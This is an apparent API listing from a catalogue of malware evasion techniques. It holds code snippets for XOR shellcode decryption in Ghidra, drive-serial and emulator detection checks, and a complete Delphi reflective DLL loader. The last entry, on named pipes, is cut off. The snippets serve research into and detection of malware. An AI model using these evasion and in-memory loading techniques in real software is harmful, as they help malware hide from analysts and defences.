GET /api/snippets/?format=api
HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 206,
    "next": "https://unprotect.it/api/snippets/?format=api&page=2",
    "previous": null,
    "results": [
        {
            "id": 210,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "author": {
                "id": 37,
                "name": "irfan_eternal",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/irfan_eternal",
                "website": null,
                "github": "https://irfan-eternal.github.io/"
            },
            "technique": "https://unprotect.it/api/techniques/370/?format=api",
            "description": "This Ghidra script decrypts shellcode by XORing each byte with a given key and writes the decrypted bytes back to a specified address in the program.",
            "plain_code": "def decryptShellcode(size, xor_key, rva):\r\n    va = rva + 0x400000\r\n    va = hex(va)[2:]\r\n    addr = toAddr(va)\r\n    addr2 = addr\r\n    enc = get_bytes(toAddr(va), size)\r\n    for i in range(size):\r\n            clearListing(addr2)\r\n            addr2 = addr2.add(1)\r\n    size2 = size\r\n    for i in range(0,size):\r\n        enc[i] = enc[i]^xor_key\r\n        \r\n            \r\n    for i in enc:\r\n       i = i & 0xFF\r\n       setByte(addr, i)\r\n       addr = addr.add(1)"
        },
        {
            "id": 209,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 35,
                "name": "HoIIovv",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/nicola-bottura/",
                "twitter": "https://twitter.com/HoIIovv",
                "website": "https://nicolabottura.github.io/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/368/?format=api",
            "description": "This code retrieves and displays the serial number, model number, and firmware revision of a physical hard drive using Windows API calls.",
            "plain_code": "#pragma once\r\n#define _CRT_SECURE_NO_WARNINGS\r\n#define no_init_all\r\n#include <Windows.h>\r\n#include <iostream>\r\n#include <iomanip>\t// For std::setw\r\n\r\n#define ErrorPrint(x) \\\r\n\tdo { \\\r\n\t\tstd::wcerr << \"Error at line \" << __LINE__ << \": \" << x << \" (Error code: \" << GetLastError() << \")\" << std::endl; \\\r\n\t} while (0)\r\n\r\n#define DRIVE\t\t\t\t\t0\t\t// Drive ID\r\n#define IDENTIFY_BUFFER_SIZE\t\t\t512\r\n#define ID_CMD\t\t\t\t\t0xEC\t// Returns ID sector for ATA\r\n\r\ntypedef struct _IDENTIFY_DATA\r\n{\r\n\tUSHORT GeneralConfiguration;\t\t// 00  00\r\n\tUSHORT NumberOfCylinders;\t\t// 02  1\r\n\tUSHORT Reserved1;\t\t\t// 04  2\r\n\tUSHORT NumberOfHeads;\t\t\t// 06  3\r\n\tUSHORT UnformattedBytesPerTrack;\t// 08  4\r\n\tUSHORT UnformattedBytesPerSector;\t// 0A  5\r\n\tUSHORT SectorsPerTrack;\t\t\t// 0C  6\r\n\tUSHORT VendorUnique1[3];\t\t// 0E  7-9\r\n\tUSHORT SerialNumber[10];\t\t// 14  10-19\r\n\tUSHORT BufferType;\t\t\t// 28  20\r\n\tUSHORT BufferSectorSize;\t\t// 2A  21\r\n\tUSHORT NumberOfEccBytes;\t\t// 2C  22\r\n\tUSHORT FirmwareRevision[4];\t\t// 2E  23-26\r\n\tUSHORT ModelNumber[20];\t\t\t// 36  27-46\r\n\tUCHAR MaximumBlockTransfer;\t\t// 5E  47\r\n\tUCHAR VendorUnique2;\t\t\t// 5F\r\n\tUSHORT DoubleWordIo;\t\t\t// 60  48\r\n\tUSHORT Capabilities;\t\t\t// 62  49\r\n\tUSHORT Reserved2;\t\t\t// 64  50\r\n\tUCHAR VendorUnique3;\t\t\t// 66  51\r\n\tUCHAR PioCycleTimingMode;\t\t// 67\r\n\tUCHAR VendorUnique4;\t\t\t// 68  52\r\n\tUCHAR DmaCycleTimingMode;\t\t// 69\r\n\tUSHORT TranslationFieldsValid : 1;\t// 6A  53\r\n\tUSHORT Reserved3 : 15;\r\n\tUSHORT NumberOfCurrentCylinders;\t// 6C  54\r\n\tUSHORT NumberOfCurrentHeads;\t\t// 6E  55\r\n\tUSHORT CurrentSectorsPerTrack;\t\t// 70  56\r\n\tULONG CurrentSectorCapacity;\t\t// 72  57-58\r\n\tUSHORT CurrentMultiSectorSetting;\t//     59\r\n\tULONG UserAddressableSectors;\t\t//     60-61\r\n\tUSHORT SingleWordDMASupport : 8;\t//     62\r\n\tUSHORT SingleWordDMAActive : 8;\r\n\tUSHORT MultiWordDMASupport : 8;\t\t//     63\r\n\tUSHORT MultiWordDMAActive : 8;\r\n\tUSHORT AdvancedPIOModes : 8;\t\t//     64\r\n\tUSHORT Reserved4 : 8;\r\n\tUSHORT MinimumMWXferCycleTime;\t\t//     65\r\n\tUSHORT RecommendedMWXferCycleTime;\t//     66\r\n\tUSHORT MinimumPIOCycleTime;\t\t//     67\r\n\tUSHORT MinimumPIOCycleTimeIORDY;\t//     68\r\n\tUSHORT Reserved5[2];\t\t\t\t//     69-70\r\n\tUSHORT ReleaseTimeOverlapped;\t\t//     71\r\n\tUSHORT ReleaseTimeServiceCommand;\t//     72\r\n\tUSHORT MajorRevision;\t\t\t//     73\r\n\tUSHORT MinorRevision;\t\t\t//     74\r\n\tUSHORT Reserved6[50];\t\t\t//     75-126\r\n\tUSHORT SpecialFunctionsEnabled;\t\t//     127\r\n\tUSHORT Reserved7[128];\t\t\t//     128-255\r\n} IDENTIFY_DATA, *PIDENTIFY_DATA;\r\n\r\nvoid PrintDriveInfo(int iDrive, DWORD diskData[256]);\r\nchar *ConvertToString(DWORD diskData[256], int iFirstIndex, int iLastIndex, char *pcszBuf);\r\n\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tchar driveName[MAX_PATH];\r\n\tsprintf(driveName, \"\\\\\\\\.\\\\PhysicalDrive%d\", DRIVE);\r\n\r\n\t// Get handle of the physical drive\r\n\tHANDLE hDrive = CreateFileA(driveName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);\r\n\r\n\t// Check the validity of the file handle\r\n\tif (hDrive == INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tErrorPrint(L\"CreateFile\");\r\n\t\texit(1);\r\n\t}\r\n\t\r\n\t// Prepare the command buffer\r\n\tULONG CommandSize = sizeof(SENDCMDINPARAMS) + IDENTIFY_BUFFER_SIZE;\r\n\tPSENDCMDINPARAMS Command = (PSENDCMDINPARAMS)malloc(CommandSize);\r\n\t// Prepare the command\r\n\tCommand->irDriveRegs.bCommandReg = ID_CMD;\r\n\r\n\tDWORD bytesReturned = 0;\r\n\t// Retrieve IDENTIFY data\r\n\tif (DeviceIoControl(hDrive,\r\n\t\tSMART_RCV_DRIVE_DATA, // 0x7C088\r\n\t\tCommand,\r\n\t\tsizeof(SENDCMDINPARAMS),\r\n\t\tCommand,\r\n\t\tCommandSize,\r\n\t\t&bytesReturned,\r\n\t\tNULL))\r\n\t{\r\n\t\t// Print the IDENTIFY data\r\n\t\tDWORD diskData[256]; // 256 is the IDENTIFY_DATA structure's size\r\n\t\tUSHORT *punIdSector = (USHORT *)(PIDENTIFY_DATA)((PSENDCMDOUTPARAMS)Command)->bBuffer;\r\n\t\tfor (int i = 0; i < 256; i++)\r\n\t\t\tdiskData[i] = punIdSector[i];\r\n\r\n\t\tPrintDriveInfo(0, diskData);\r\n\t}\r\n\telse ErrorPrint(L\"DeviceIoControl (SMART_RCV_DRIVE_DATA)\");\r\n\r\n\tCloseHandle(hDrive);\r\n}\r\n\r\nvoid PrintDriveInfo(int iDrive, DWORD diskData[256])\r\n{\r\n\tchar serialNumber[1024];\r\n\tchar modelNumber[1024];\r\n\tchar revisionNumber[1024];\r\n\r\n\t// Copy the hard drive serial, model, and revision number to respective buffer\r\n\tConvertToString(diskData, 10, 19, serialNumber);\r\n\tConvertToString(diskData, 27, 46, modelNumber);\r\n\tConvertToString(diskData, 23, 26, revisionNumber);\r\n\r\n\tstd::cout << \"------------------------ [Drive \" << DRIVE << \"] ------------------------\" << std::endl;\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Serial Number________________ : [\" << serialNumber << \"]\\n\";\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Model Number_________________ : [\" << modelNumber << \"]\\n\";\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Controller Revision Number___ : [\" << revisionNumber << \"]\\n\";\r\n\t\r\n\tstd::cout << \"Drive Type_________________________ : [\";\r\n\tif (diskData[0] & 0x0080)\r\n\t\tstd::cout << \"Removable]\\n\";\r\n\telse if (diskData[0] & 0x0040)\r\n\t\tstd::cout << \"Fixed]\\n\";\r\n\telse\r\n\t\tstd::cout << \"Unknown]\\n\";\r\n}\r\n\r\nchar *ConvertToString(DWORD diskData[256], int iFirstIndex, int iLastIndex, char *pcszBuf)\r\n{\r\n\tint index = 0;\r\n\tint position = 0;\r\n\r\n\t// NOTE: each integer has two characters stored in it backwards\r\n\tfor (index = iFirstIndex; index <= iLastIndex; index++)\r\n\t{\r\n\t\t// Get high byte for 1st character\r\n\t\tpcszBuf[position++] = (char)(diskData[index] / 256); // / 256 = >> 8\r\n\t\t// Get low byte for 2nd character\r\n\t\tpcszBuf[position++] = (char)(diskData[index] % 256); // ^ 256 = & 0xFF\r\n\t}\r\n\r\n\t// End the string and cut off trailing blanks\r\n\tpcszBuf[position] = '\\0';\r\n\tfor (index = position - 1; index > 0 && isspace(pcszBuf[index]); index--)\r\n\t\tpcszBuf[index] = '\\0';\r\n\r\n\treturn pcszBuf;\r\n}"
        },
        {
            "id": 208,
            "language": {
                "id": 10,
                "label": "C",
                "code_class": "C"
            },
            "author": {
                "id": 34,
                "name": "Huntress Research Team",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/HuntressLabs",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/367/?format=api",
            "description": "This code compiles a C program on Windows that tests if it's running in an emulation environment by attempting to configure a bogus device string with BuildCommDCBAndTimeouts; if the call succeeds, it terminates the program, suggesting it might not be running on a genuine Windows system.",
            "plain_code": "// $ x86_64-w64-mingw32-gcc -o main.exe main.c\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main()\r\n{\r\n    printf(\"[*] Running...\\n\");\r\n    HANDLE currentProcess;\r\n\r\n    // If we pass a bogus device string into this API call, the return value should always be zero to indicate failure.\r\n    // The hypothesis here is that if this API call ever succeeds, it is in some kind of emulation environment that will allow a bogus device string.\r\n    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-buildcommdcbandtimeoutsa\r\n\r\n    // device string from the POC: \"jhl46745fghb\"\r\n    // properly formatted device string: \"COM1:9600,n,8,1\"\r\n    if (BuildCommDCBAndTimeouts(\"jhl46745fghb\", NULL, NULL))\r\n    {\r\n        printf(\"[*] Nope.\\n\");\r\n        currentProcess = GetCurrentProcess();\r\n        TerminateProcess(currentProcess, 0);\r\n    }\r\n\r\n    printf(\"[+] Boom!\\n\");\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 207,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/110/?format=api",
            "description": "Here is a short example demonstrating the reflective loading of a Dynamic Link Library (DLL) into memory, whether sourced from disk or memory (supporting streams). This approach supports both 32-bit (PE) and 64-bit (PE+) DLLs. The technique enables the loading of exported functions either by their ordinal value or by the exported function name.",
            "plain_code": "program DLLReflector;\r\n\r\n// DLL Reflection with both 32 and 64-bit support.\r\n// www.unprotect.it\r\n// @DarkCoderSc\r\n\r\nuses\r\n  Winapi.Windows,\r\n  System.Classes,\r\n  System.SysUtils;\r\n\r\nconst\r\n  IMAGE_REL_BASED_DIR64 = 10;\r\n\r\ntype\r\n  TImageBaseRelocation = record\r\n    VirtualAddress : DWORD;\r\n    SizeOfBlock    : DWORD;\r\n  end;\r\n  PImageBaseRelocation = ^TImageBaseRelocation;\r\n\r\n  TImageOptionalHeader =\r\n  {$IFDEF WIN64}\r\n    TImageOptionalHeader64\r\n  {$ELSE}\r\n    TImageOptionalHeader32\r\n  {$ENDIF};\r\n  PImageOptionalHeader = ^TImageOptionalHeader;\r\n\r\n  TImageThunkData =\r\n  {$IFDEF WIN64}\r\n    TImageThunkData64\r\n  {$ELSE}\r\n    TImageThunkData32\r\n  {$ENDIF};\r\n  PImageThunkData = ^TImageThunkData;\r\n\r\n  PRelocationInfo =\r\n  {$IFDEF WIN64}\r\n    PCardinal\r\n  {$ELSE}\r\n    PWord\r\n  {$ENDIF};\r\n\r\n  TNTSignature = DWORD;\r\n  PNTSignature = ^TNTSignature;\r\n\r\n  TPEHeader = record\r\n    pImageBase             : Pointer;\r\n\r\n    // Main Headers\r\n    _pImageDosHeader       : PImageDosHeader;\r\n    _pNTSignature          : PNTSignature;\r\n    _pImageFileHeader      : PImageFileHeader;\r\n    _pImageOptionalHeader  : PImageOptionalHeader;\r\n    _pImageSectionHeader   : PImageSectionHeader;\r\n\r\n    // Sections Headers\r\n    SectionHeaderCount     : Cardinal;\r\n    pSectionHeaders        : array of PImageSectionHeader;\r\n  end;\r\n\r\n  TPEHeaderDirectories = record\r\n    _pImageExportDirectory : PImageExportDirectory;\r\n  end;\r\n\r\n{ _.RVAToVA }\r\nfunction RVAToVA(const pImageBase : Pointer; const ARelativeVirtualAddress : NativeUInt) : Pointer;\r\nbegin\r\n  result := Pointer(NativeUInt(pImageBase) + ARelativeVirtualAddress);\r\nend;\r\n\r\n{ _.IdentifyPEHeader }\r\nfunction IdentifyPEHeader(const pImageBase : Pointer) : TPEHeader;\r\nvar\r\n  pOffset              : Pointer;\r\n  _pImageSectionHeader : PImageSectionHeader;\r\n  I                    : Cardinal;\r\n\r\n  procedure IncOffset(const AIncrement : Cardinal);\r\n  begin\r\n    pOffset := Pointer(NativeUInt(pOffset) + AIncrement);\r\n  end;\r\n\r\nbegin\r\n  ZeroMemory(@result, SizeOf(TPEheader));\r\n  ///\r\n\r\n  if not Assigned(pImageBase) then\r\n    Exit();\r\n\r\n  result.pImageBase := pImageBase;\r\n\r\n  pOffset := result.pImageBase;\r\n\r\n  // Read and validate Library PE Header\r\n  result._pImageDosHeader := pOffset;\r\n\r\n  if (result._pImageDosHeader.e_magic <> IMAGE_DOS_SIGNATURE) then\r\n    Exit();\r\n\r\n  IncOffset(result._pImageDosHeader^._lfanew);\r\n\r\n  if (PNTSignature(pOffset)^ <> IMAGE_NT_SIGNATURE) then\r\n    Exit();\r\n\r\n  IncOffset(SizeOf(TNTSignature));\r\n\r\n  result._pImageFileHeader := pOffset;\r\n\r\n  IncOffset(SizeOf(TImageFileHeader));\r\n\r\n  result._pImageOptionalHeader := pOffset;\r\n\r\n  IncOffset(SizeOf(TImageOptionalHeader));\r\n\r\n  // Read and register section headers\r\n  result.SectionHeaderCount := result._pImageFileHeader^.NumberOfSections;\r\n\r\n  SetLength(result.pSectionHeaders, result.SectionHeaderCount);\r\n\r\n  for I := 0 to result.SectionHeaderCount -1 do begin\r\n    _pImageSectionHeader := pOffset;\r\n    try\r\n      result.pSectionHeaders[I] := _pImageSectionHeader;\r\n    finally\r\n      IncOffset(SizeOf(TImageSectionHeader));\r\n    end;\r\n  end;\r\nend;\r\n\r\n{ _.IdentifyPEHeaderDirectories }\r\nfunction IdentifyPEHeaderDirectories(const APEHeader : TPEHeader) : TPEHeaderDirectories;\r\nvar AVirtualAddress : Cardinal;\r\nbegin\r\n  ZeroMemory(@result, SizeOf(TPEHeaderDirectories));\r\n  ///\r\n\r\n  // Identify Export Directory\r\n  AVirtualAddress := APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n\r\n  result._pImageExportDirectory := Pointer(NativeUInt(APEHeader.pImageBase) + AVirtualAddress);\r\nend;\r\n\r\n{ _.ResolveImportTable }\r\nprocedure ResolveImportTable(const APEHeader : TPEHeader);\r\nvar _pImageDataDirectory      : PImageDataDirectory;\r\n    _pImageImportDescriptor   : PImageImportDescriptor;\r\n    hModule                   : THandle;\r\n    _pImageOriginalThunkData  : PImageThunkData;\r\n    _pImageFirstThunkData     : PImageThunkData;\r\n    pFunction                 : Pointer;\r\n    pProcName                 : Pointer;\r\n\r\n    function RVA(const Offset : NativeUInt) : Pointer;\r\n    begin\r\n      result := Pointer(NativeUInt(APEHeader.pImageBase) + Offset);\r\n    end;\r\n\r\nbegin\r\n  _pImageDataDirectory := @APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\r\n  if _pImageDataDirectory^.Size = 0 then\r\n    Exit();\r\n\r\n  _pImageImportDescriptor := RVA(_pImageDataDirectory^.VirtualAddress);\r\n\r\n  while _pImageImportDescriptor^.Name <> 0 do begin\r\n    try\r\n      hModule := LoadLibraryA(RVA(_pImageImportDescriptor^.Name));\r\n      if hModule = 0 then\r\n        continue;\r\n      try\r\n\r\n        if _pImageImportDescriptor^.OriginalFirstThunk <> 0 then\r\n          _pImageOriginalThunkData := RVA(_pImageImportDescriptor^.OriginalFirstThunk)\r\n        else\r\n          _pImageOriginalThunkData := RVA(_pImageImportDescriptor^.FirstThunk);\r\n\r\n        _pImageFirstThunkData := RVA(_pImageImportDescriptor^.FirstThunk);\r\n\r\n        if not Assigned(_pImageOriginalThunkData) then\r\n          continue;\r\n\r\n        while _pImageOriginalThunkData^.AddressOfData <> 0 do begin\r\n          try\r\n            if (_pImageOriginalThunkData^.Ordinal and IMAGE_ORDINAL_FLAG) <> 0 then\r\n              pProcName := MAKEINTRESOURCE(_pImageOriginalThunkData^.Ordinal and $FFFF)\r\n            else\r\n              pProcName := RVA(_pImageOriginalThunkData^.AddressOfData + SizeOf(Word));\r\n\r\n            pFunction := GetProcAddress(\r\n                hModule,\r\n                PAnsiChar(pProcName)\r\n            );\r\n\r\n            if not Assigned(pFunction) then\r\n              continue;\r\n\r\n            _pImageFirstThunkData^._Function := NativeUInt(pFunction);\r\n          finally\r\n            Inc(_pImageOriginalThunkData);\r\n            Inc(_pImageFirstThunkData);\r\n          end;\r\n        end;\r\n      finally\r\n        FreeLibrary(hModule);\r\n      end;\r\n    finally\r\n      Inc(_pImageImportDescriptor);\r\n    end;\r\n  end;\r\nend;\r\n\r\n{ _.PerformBaseRelocation }\r\nprocedure PerformBaseRelocation(const APEHeader: TPEHeader; const ADelta: NativeUInt);\r\nvar\r\n  I                     : Cardinal;\r\n  _pImageDataDirectory  : PImageDataDirectory;\r\n  pRelocationTable      : PImageBaseRelocation;\r\n  pRelocationAddress    : Pointer;\r\n\r\n  pRelocInfo            : PRelocationInfo;\r\n\r\n  pRelocationType       : Integer;\r\n  pRelocationOffset     : NativeUInt;\r\n  ARelocationCount      : Cardinal;\r\n\r\nconst\r\n  IMAGE_SIZEOF_BASE_RELOCATION = 8;\r\n  IMAGE_REL_BASED_HIGH         = 1;\r\n  IMAGE_REL_BASED_LOW          = 2;\r\n  IMAGE_REL_BASED_HIGHLOW      = 3;\r\nbegin\r\n  _pImageDataDirectory := @APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];\r\n  if _pImageDataDirectory^.Size = 0 then\r\n    Exit();\r\n\r\n  pRelocationTable := RVAToVA(APEHeader.pImageBase, _pImageDataDirectory^.VirtualAddress);\r\n\r\n  while pRelocationTable^.VirtualAddress > 0 do begin\r\n    pRelocationAddress := RVAToVA(APEHeader.pImageBase, pRelocationTable^.VirtualAddress);\r\n    pRelocInfo := RVAToVA(pRelocationTable, IMAGE_SIZEOF_BASE_RELOCATION);\r\n\r\n    ARelocationCount := (pRelocationTable^.SizeOfBlock - SizeOf(TImageBaseRelocation)) div SizeOf(Word);\r\n\r\n    for I := 0 to ARelocationCount -1 do begin\r\n      pRelocationType := (pRelocInfo^ shr 12);\r\n      pRelocationOffset := pRelocInfo^ and $FFF;\r\n\r\n      case pRelocationType of\r\n        IMAGE_REL_BASED_HIGHLOW, IMAGE_REL_BASED_DIR64:\r\n          Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, ADelta);\r\n\r\n        IMAGE_REL_BASED_HIGH:\r\n          Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, HiWord(ADelta));\r\n\r\n        IMAGE_REL_BASED_LOW:\r\n          Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, LoWord(ADelta));\r\n      end;\r\n\r\n      Inc(pRelocInfo);\r\n    end;\r\n\r\n    ///\r\n    pRelocationTable := Pointer(NativeUInt(pRelocationTable) + pRelocationTable^.SizeOfBlock);\r\n  end;\r\nend;\r\n\r\n{ _.ReflectLibraryFromMemory }\r\nfunction ReflectLibraryFromMemory(const pSourceBuffer : Pointer; const ABufferSize : UInt) : Pointer;\r\nvar pOffset              : Pointer;\r\n    ASourcePEHeader      : TPEHeader;\r\n    ADestPEHeader        : TPEHeader;\r\n    pImageBase           : Pointer;\r\n    _pImageSectionHeader : PImageSectionHeader;\r\n    I                    : Cardinal;\r\n    ADelta               : UInt64;\r\n\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  ASourcePEHeader := IdentifyPEHeader(pSourceBuffer);\r\n\r\n  {$IFDEF WIN64}\r\n    if (ASourcePEHeader._pImageFileHeader^.Machine <> IMAGE_FILE_MACHINE_AMD64) then\r\n  {$ELSE}\r\n    if (ASourcePEHeader._pImageFileHeader^.Machine <> IMAGE_FILE_MACHINE_I386) then\r\n  {$ENDIF}\r\n      raise Exception.Create('You must load a DLL with same architecture as current process!');\r\n  \r\n\r\n  // Create a memory region that will contain our Library code\r\n  // We then patch our TPEHeader structure with new image base\r\n  pImageBase := VirtualAlloc(nil, ASourcePEHeader._pImageOptionalHeader^.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n  if not Assigned(pImageBase) then\r\n    Exit();\r\n\r\n  // Write Library headers to allocated region\r\n  CopyMemory(pImageBase, pSourceBuffer, ASourcePEHeader._pImageOptionalHeader.SizeOfHeaders);\r\n\r\n  // Write Library sections code to allocated region\r\n  for I := 0 to ASourcePEHeader.SectionHeaderCount -1 do begin\r\n    _pImageSectionHeader := ASourcePEHeader.pSectionHeaders[I];\r\n\r\n    pOffset := Pointer(NativeUInt(pImageBase) + _pImageSectionHeader^.VirtualAddress);\r\n\r\n    // Pad new allocated region with zeros\r\n    ZeroMemory(pOffset, _pImageSectionHeader^.Misc.VirtualSize);\r\n\r\n    // Copy section content from buffer to freshly allocated region\r\n    CopyMemory(\r\n      pOffset,\r\n      Pointer(NativeUInt(pSourceBuffer) + _pImageSectionHeader^.PointerToRawData),\r\n      _pImageSectionHeader^.SizeOfRawData\r\n    );\r\n  end;\r\n\r\n  // Calculate the distance between default library expected image base and mapped library image base\r\n  // Used for relocation\r\n  ADelta := NativeUInt(pImageBase) - NativeUInt(ASourcePEHeader._pImageOptionalHeader.ImageBase);\r\n\r\n  // Point to new image header\r\n  ADestPEHeader := IdentifyPEHeader(pImageBase);\r\n\r\n  // Patch new image header image base value\r\n  ADestPEHeader._pImageOptionalHeader^.ImageBase := NativeUInt(pImageBase);\r\n\r\n  // Resolve import table, load required libraries and exported functions\r\n  ResolveImportTable(ADestPEHeader);\r\n\r\n  // Perform Image Base Relocation since it differs from target library PE Header expectation\r\n  if ADelta <> 0 then\r\n    PerformBaseRelocation(ADestPEHeader, ADelta);\r\n\r\n  ///\r\n  result := pImageBase;\r\nend;\r\n\r\n{ _.GetReflectedProcAddress }\r\nfunction GetReflectedProcAddress(const pImageBase : Pointer; const AFunctionOrOrdinal : String) : Pointer;\r\nvar APEHeader            : TPEHeader;\r\n    APEHeaderDirectories : TPEHeaderDirectories;\r\n    I                    : Cardinal;\r\n    pOffset              : PCardinal;\r\n    pOrdinal             : PWord;\r\n    pFuncAddress         : PCardinal;\r\n\r\n    pAddrOfNameOrdinals  : Pointer;\r\n    pAddrOfFunctions     : Pointer;\r\n    pAddrOfNames         : Pointer;\r\n\r\n    ACurrentName         : String;\r\n    AOrdinalCandidate    : Integer;\r\n    ACurrentOrdinal      : Word;\r\n    AResolveByName       : Boolean;\r\n\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if not Assigned(pImageBase) then\r\n    Exit();\r\n\r\n  APEHeader := IdentifyPEHeader(pImageBase);\r\n  APEHeaderDirectories := IdentifyPEHeaderDirectories(APEHeader);\r\n\r\n  for I := 0 to APEHeaderDirectories._pImageExportDirectory^.NumberOfNames -1 do begin\r\n    pAddrOfNameOrdinals := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfNameOrdinals);\r\n    pAddrOfFunctions := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfFunctions);\r\n    pAddrOfNames := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfNames);\r\n\r\n    AResolveByName := False;\r\n    if not TryStrToInt(AFunctionOrOrdinal, AOrdinalCandidate) then\r\n      AResolveByName := True;\r\n\r\n    if (AOrdinalCandidate < Low(Word)) or (AOrdinalCandidate > High(Word)) and not AResolveByName then\r\n      AResolveByName := True;\r\n\r\n    // Function Name\r\n    pOffset := Pointer(NativeUInt(pAddrOfNames) + (I * SizeOf(Cardinal)));\r\n    ACurrentName := String(PAnsiChar(NativeUInt(pImageBase) + pOffset^));\r\n\r\n    // Ordinal\r\n    ACurrentOrdinal := PWord(NativeUInt(pAddrOfNameOrdinals) + (I * SizeOf(Word)))^;\r\n\r\n    if AResolveByName then begin\r\n      if (String.Compare(ACurrentName, AFunctionOrOrdinal, True) <> 0) then\r\n        continue;\r\n    end else begin\r\n      if (ACurrentOrdinal + APEHeaderDirectories._pImageExportDirectory^.Base) <> AOrdinalCandidate then\r\n        continue;\r\n    end;\r\n\r\n    // Resolve Function Address\r\n    pFuncAddress := PCardinal(NativeUInt(pAddrOfFunctions) + (ACurrentOrdinal * SizeOf(Cardinal)));\r\n\r\n    result := Pointer(NativeUInt(pImageBase) + pFuncAddress^);\r\n\r\n    break;\r\n  end;\r\nend;\r\n\r\n{ _.ReflectLibraryFromFile }\r\nfunction ReflectLibraryFromFile(const AFileName : String) : Pointer;\r\nvar AFileStream : TFileStream;\r\n    pBuffer     : Pointer;\r\n    ASize       : Int64;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  AFileStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);\r\n  try\r\n    AFileStream.Position := 0;\r\n    ///\r\n\r\n    ASize := AFileStream.Size;\r\n\r\n    GetMem(pBuffer, ASize);\r\n\r\n    AFileStream.ReadBuffer(PByte(pBuffer)^, ASize);\r\n\r\n    result := ReflectLibraryFromMemory(pBuffer, ASize);\r\n  finally\r\n    if Assigned(AFileStream) then\r\n      FreeAndNil(AFileStream);\r\n  end;\r\nend;\r\n\r\n{ _.ReflectFromMemoryStream }\r\nfunction ReflectFromMemoryStream(const AStream : TMemoryStream) : Pointer;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if not Assigned(AStream) then\r\n    Exit();\r\n\r\n  if AStream.Size = 0 then\r\n    Exit();\r\n\r\n  result := ReflectLibraryFromMemory(AStream.Memory, AStream.Size);\r\nend;\r\n\r\n// Example (Update Code Accordingly)\r\nvar pReflectedModuleBase : Pointer;\r\n    pReflectedMethod     : procedure(); stdcall;\r\nbegin\r\n  pReflectedModuleBase := ReflectLibraryFromFile('test.dll');\r\n\r\n  // Through Function Name\r\n  @pReflectedMethod := GetReflectedProcAddress(pReflectedModuleBase, 'ModuleAction');\r\n  if Assigned(pReflectedMethod) then\r\n    pReflectedMethod();\r\n\r\n  // Through Exported Function Ordinal\r\n  @pReflectedMethod := GetReflectedProcAddress(pReflectedModuleBase, '3');\r\n  if Assigned(pReflectedMethod) then\r\n    pReflectedMethod();\r\n\r\nend."
        },
        {
            "id": 206,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "author": {
                "id": 1,
                "name": "Jean-Pierre LESUEUR",
                "email": "jplesueur@phrozen.io",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/357/?format=api",
            "description": "This code snippet demonstrates how to use named pipes on Windows through the WinAPI. The Proof of Concept (PoC) emphasizes sending Unicode string character by character until the CRLF, with each character taking up 2 bytes. While there are various methods to achieve a similar outcome, this particular approach has its own set of advantages and disadvantages. Feel free to modify the example to suit your specific needs.",
